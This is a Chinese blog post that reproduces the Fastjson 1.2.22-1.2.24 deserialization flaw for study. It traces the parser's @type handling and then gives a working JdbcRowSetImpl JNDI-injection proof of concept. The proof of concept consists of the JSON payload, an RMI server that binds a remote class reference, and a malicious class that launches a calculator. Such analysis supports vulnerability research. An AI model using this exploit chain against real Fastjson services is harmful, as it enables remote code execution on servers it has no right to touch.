Fork me on GitHub

Fastjson反序列化漏洞分析--JdbcRowSetImpl利用链

Fastjson反序列化漏洞分析--JdbcRowSetImpl利用链

前言

这段时间在学习渗透测试的相关知识,看了一些关于 Fastjson 反序列化漏洞分析的博客视频,这里复现一下。

Fastjson简介

Fastjson 是 Alibaba 开发的Java语言编写的高性能 JSON 库,用于将数据在 JSON 和 Java Object 之间互相转换,提供两个主要接口JSON.toJSONStringJSON.parseObject/JSON.parse 来分别实现序列化和反序列化操作。

Fastjson序列化与反序列化

一、序列化

序列化可以理解为就是将对象转化为字节流,字节流中包括这个对象的数据和信息,序列化和反序列化便于类的持久保存,并且很利于网络传输。

Student.java

public class Student {
    private String name;
    private int age;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        // Runtime.getRuntime().exec("calc.exe")
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
}

通过 Ser.java 进行序列化:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Ser {
    public static void main(String[] args){
        Student student = new Student();
        student.setName("test");
        student.setAge(80);
        String jsonstring1 = JSON.toJSONString(student, SerializerFeature.WriteClassName); //  带属性值
        String jsonstring2 = JSON.toJSONString(student); // 不带属性值 SerializerFeature.WriteClassName
        System.out.println(jsonstring1);
        System.out.println(jsonstring2);
    }
}

第一种序列化方式传入一个 Json 对象即Student 和另一个参数 SerializerFeature.WriteClassName;而第二种序列化方式直接传入Student ,执行结果如:

可以看到,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,@type可以指定反序列化的类,并且调用其getter/setter/is方法。

二、反序列化

反序列化是通过这条字节流的数据和信息,将它还原成一个类

通过UnSer.java反序列化:

首先对普通的 Json 字符串做反序列化,在做反序列化时使用两种方式,即parserparserObject,区别在于parserObject做反序列化的时候指定一个对象,得到的结果:

第一种得到的是一个JSONObject对象,而并不是一个我们需要反序列化的对象Student ;使用parserObject指定一个对象得到的结果为我们需要得到的对象Student 。对一个具有@type的 Json 字符串做反序列化:

得到的结果:

可以看到,两种方式都可以成功的反序列化出Student。通过以上分析,可以看到@type的作用,但 fastjson 漏洞就是因为@type所导致了 fastjson 反序列化漏洞。

Fastjson反序列化流程分析

跟进 UnSer.java 中parser

public static Object parse(String text, int features) {
        if (text == null) {
            return null;
        } else {
            DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
            Object value = parser.parse();
            parser.handleResovleTask(value);
            parser.close();
            return value;
        }
    }

这里会创建一个 DefaultJSONParser 对象,跟入:

由于传入的是以{开头,返回一个LBRACE,在进入判断:

由于返回的是LBRACE,在第一行会创建一个空的 JSONObject,再调用parseObject()进行解析,跟进:

进行判断key==Json.DEFAULT_TYPE_KEY

这里Json.DEFAULT_TYPE_KEY就为@type,判断通过,进入if语句

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;

接着创建了ObjectDeserializer类并调用了deserialze方法,后续跟进getDeserializer方法,可以发现执行反序列化操作。

Fastjson反序列化漏洞

知道了 Fastjson 的@type,所以也就能想到反序列化漏洞产生的原因是 get 或 set 方法中存在恶意操作,以下面 Student.java 为例:

public class Student {
    private String name;
    private int age;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        Runtime.getRuntime().exec("calc.exe") //添加的恶意代码
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
}

Unser.java

指定到包含恶意代码的恶意类Student,反序列后,执行恶意代码:

可以看到执行恶意代码Runtime.getRuntime().exec("calc.exe"),调出计算器。

JdbcRowSetImpl利用链

上面分析了可以在类中添加恶意代码的方式进行恶意命令执行,但是在实际上,上面的Student.java是存在于服务器端的,作为用户,我们很难更改。对于 Fastjson 1.2.22-1.2.24 我们可以通过两条利用链——JdbcRowSetImpl 和 Templateslmpl。今天主要介绍JdbcRowSetImpl利用链,JdbcRowSetImpl利用链最终的结果是导致 JNDI 注入。

JNDI

简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。

JNDI支持多种命名和目录提供程序(Naming and Directory Providers),RMI注册表服务提供程序(RMI Registry Service Provider)允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作。将RMI服务绑定到JNDI的一个好处是更加透明、统一和松散耦合,RMI客户端直接通过URL来定位一个远程对象,而且该RMI服务可以和包含人员,组织和网络资源等信息的企业目录链接在一起。

JNDI接口在初始化时,可以将RMI URL作为参数传入,而JNDI注入出现在客户端的lookup()函数中,如果lookup()的参数可控就可能被攻击。

POC

POC 如下,@type 指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为 RMI 服务中心绑定的 Exploit 服务,autoCommit有且必须为 true 或 false 等布尔值类型:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

服务端 JNDIServer.java

public class JNDIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Exloit",
                "com.test.example2.badClassName","http://127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }
}

远程恶意类 com.test.example2.badClassName.class,同样是调出计算器程序。

public class badClassName {
    static{
        try{
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        }catch(Exception e){
            ;
        }
    }
}

客户端 JNDIClient.java

import com.alibaba.fastjson.JSON;

public class JNDIClient {
    public static void main(String[] argv){
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

当执行JSON.parse(payload);进行反序列化时,JdbcRowSetImpl类远程调用写好的badClassName.class,执行恶意代码。

JdbcRowSetImpl 这个类是JDK自带的,所以无论服务端用什么写,都能找到。

漏洞分析

跟进JdbcRowSetImpl.class,进入到setDataSourceNmame()

因为初始化的时候getDataSourceNmame()为空,进入else,下断点得到 RMI 的 url 为rmi://127.0.0.1:1099/badClassName,并传入setDataSourceNmame()。接着调用setAutoCommit()函数:

设置autoCommit值,其中调用了connect()函数:

这里的getDataSourceName()是我们在前面setDataSourceName()方法中设置的值rmi://127.0.0.1:1099/badClassName,是我们可控的,而lookup()远程加载getDataSourceName(),所以就造成了JNDI注入漏洞。

posted @ 2021-08-12 20:00  吟风芥尘  阅读(917)  评论(0编辑  收藏  举报